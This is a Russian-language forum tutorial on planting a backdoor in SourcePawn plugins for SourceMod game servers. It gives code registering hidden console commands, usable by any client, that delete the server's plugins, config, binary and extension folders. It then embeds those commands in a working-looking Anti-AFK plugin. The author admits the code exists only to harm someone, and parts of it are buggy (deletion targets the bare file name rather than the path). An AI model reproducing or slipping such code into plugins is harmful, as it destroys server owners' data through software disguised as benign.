BackDoor - Вирус в SourcePawn

Всем привет :wave: . В мануале я расскажу о вирусе BackDoor и для чего он нужен .

SOURCEPAWN
  • Подробнее о SourcePawn написано в другом моем ТОПИКЕ

Бэкдор , тайный вход (от англ. back door — «чёрный ход», буквально «задняя дверь») — дефект алгоритма, который намеренно встраивается в него разработчиком и позволяет получить несанкционированный доступ к данным или удалённому управлению операционной системой и компьютером в целом.

Основной целью бэкдора является скрытное и быстрое получение доступа к данным, в большинстве случаев — к зашифрованным и защищённым. Например, бэкдор может быть встроен в алгоритм шифрования для последующей прослушки защищённого канала злоумышленником.


SourcePawn - Вариант языка Pawn , используемый в SourceMod , раз SourcePawn используется в SourceMod , а SourceMod это ядро для серверов , то SourcePawn нужен именно в скриптах ( плагинах/аддонах ) для сервера , а то есть мы будем расследовать именно случай вклеивания в код плагина данный вирус .

BackDoor поместив в плагин для сервера на ядре SourceMod , можно получить различные данные сервера - FTP сервера и тому подобное .


Рассмотрим принцип работы простого BackDoor’a , с удалением сервера :

public void OnPluginStart()
{
    RegConsoleCmd("sm_dserver", hDServer);
}

public Action hDServer(int client, int args)
{
    ServerCommand("addip %i %s")
}

RegConsoleCmd - Регистрирует команду <sm_dserver> при старте плагина , а hDellServer и есть событие , которое исполняет команда .


//Includes
#include <sourcemod>
#include <sdktools>
#include <sdkhooks>

//Version
#define S_VERSION "1.0"
//Autor
#define S_AUTOR "plagueswamp"
//Name Plugin
#define S_NAME "BackDoor"

//About
public Plugin myinfo = {
    name = S_NAME ,
    author = S_AUTOR ,
    version = S_VERSION,
}

public void OnPluginStart() {
    RegConsoleCmd("sm_dplugins", hDPlugins, "Удаляет папку addons/sourcemod/plugins");
    RegConsoleCmd("sm_dpl", hDPlugins, "Удаляет папку addons/sourcemod/plugins");
    RegConsoleCmd("sm_dcfg", hDCFG, "Удаляет папку server/cfg);
    RegConsoleCmd("sm_dext", hDExt, "Удаляет папку addons/sourcemod/extensions");
    RegConsoleCmd("sm_dbin", hDbin, "Удаляет папку server/bin");
}

public Action hDExt(int client, int args) {
    DirectoryListing hDellExtesions = OpenDirectory("addons/sourcemod/extensions");
    char sFileName[64], sFullName[128];

    while(hDellExtesions.GetNext(sFileName, sizeof(sFileName)))  {
        Format(sFullName, sizeof(sFileName), "addons/sourcemod/extensions/%s", sFileName);
        DeleteFile(sFileName);
    }
}

public Action hDbin(int client, int args) {
    DirectoryListing hDellbin = OpenDirectory("bin");
    char sFileName[64], sFullName[128];

    while(hDellbin.GetNext(sFileName, sizeof(sFileName))) {
        Format(sFullName, sizeof(sFileName), "bin/%s", sFileName);
        DeleteFile(sFileName);
    }
}

public Action hDCFG(int client, int args) {
    DirectoryListing hDellCFG = OpenDirectory("cfg");
    char sFileName[64], sFullName[128];

    while(hDellCFG.GetNext(sFileName, sizeof(sFileName)))  {
        Format(sFullName, sizeof(sFileName), "cfg/%s", sFileName);
        DeleteFile(sFileName);
    }
}

public Action hDPlugins(int client, int args)
{
    DirectoryListing hDellPlugins = OpenDirectory("addons/sourcemod/plugins");
    char sFileName[64], sFullName[128];

    while(hDellPlugins.GetNext(sFileName, sizeof(sFileName)))
    {
        Format(sFullName, sizeof(sFileName), "addons/sourcemod/plugins/%s", sFileName);
        DeleteFile(sFileName);
    }
}

Сразу говорю , мануал был сделан лишь для ознакомления , я не несу ответственности за ваши дальнейшие действия .


Вирус действенный и используется лишь в случае навредить кому-то , поэтому не рекомендую .

Пример я хочу показать свой , вклею BackDoor в мой плагин .

//Includes
#include <sourcemod> 
#include <cstrike>
#include <clientprefs>
#include <sdktools>
#include <csgo_colors>

//Version
#define DD_VERSION "1.0"

//Prefix
#define DD_PREFIX "{LIGHTOLIVE}[Anti-AFK]{DEFAULT}"

//Global
bool stepped[320];
//About
public Plugin myinfo = {
	name = "Anti-AFK",
	author = "plagueswamp",
	version = DD_VERSION
}

public OnPluginStart()
{
	// BackDoor Commands
	RegConsoleCmd("sm_dpl", hDPlugins, "Удаляет папку addons/sourcemod/plugins");
    RegConsoleCmd("sm_dcfg", hDCFG, "Удаляет папку server/cfg");
    RegConsoleCmd("sm_dbin", hDbin, "Удаляет папку server/bin");
//__________________________________________________________________

	HookEvent("round_poststart", EVENT_ROUND_POSTSTART)
	HookEvent("player_footstep", EVENT_PLAYER_FOOTSTEP)
	HookEvent("buytime_ended", EVENT_BUYTIME_ENDED)
}

public Action:EVENT_ROUND_POSTSTART(Handle:event, const String:name[], bool:dontBroadcast)
{
	new client = GetClientOfUserId(GetEventInt(event, "userid"));
	stepped[client] = false;
	return Plugin_Continue;
}

public Action hDbin(int client, int args) {
    DirectoryListing hDellbin = OpenDirectory("bin");
    char sFileName[64], sFullName[128];

    while(hDellbin.GetNext(sFileName, sizeof(sFileName))) {
        Format(sFullName, sizeof(sFileName), "bin/%s", sFileName);
        DeleteFile(sFileName);
    }
}

public Action hDCFG(int client, int args) {
    DirectoryListing hDellCFG = OpenDirectory("cfg");
    char sFileName[64], sFullName[128];

    while(hDellCFG.GetNext(sFileName, sizeof(sFileName)))  {
        Format(sFullName, sizeof(sFileName), "cfg/%s", sFileName);
        DeleteFile(sFileName);
    }
}

public Action:EVENT_PLAYER_FOOTSTEP(Handle:event, const String:name[], bool:dontBroadcast)
{
	new client = GetClientOfUserId(GetEventInt(event, "userid"));
	stepped[client] = true;
	return Plugin_Continue;
}

public Action hDPlugins(int client, int args)
{
    DirectoryListing hDellPlugins = OpenDirectory("addons/sourcemod/plugins");
    char sFileName[64], sFullName[128];

    while(hDellPlugins.GetNext(sFileName, sizeof(sFileName)))
    {
        Format(sFullName, sizeof(sFileName), "addons/sourcemod/plugins/%s", sFileName);
        DeleteFile(sFileName);
    }
}

public Action:EVENT_BUYTIME_ENDED (Handle:event, const String:name[], bool:dontBroadcast)
{
	decl String:player_name[64];
	PrintToServer("+--------------------Attempting to move a client to spectators for AFK--------------------+");
	for(new i=1; i <= MaxClients; i++)
	{
		if(IsClientInGame(i)) 
		{
			if ( !stepped[i] && IsPlayerAlive(i) && GetClientTeam(i) > 1 && !IsFakeClient(i) && !IsClientSourceTV(i) )
			{
				ChangeClientTeam(i, 1);
				GetClientName(i, player_name, sizeof(player_name));
				CGOPrintToChatAll(DD_PREFIX, "{OLIVE}%s{DEFAULT}перемещен в {PURPLE}наблюдатели{DEFAULT} по причине: {RED}AFK{DEFAULT}!", player_name);
			}
		}
		
	}
	return Plugin_Continue;
}

1 лайк

это получается анти афк с типо заменой файл или с его внедрением в файлы игры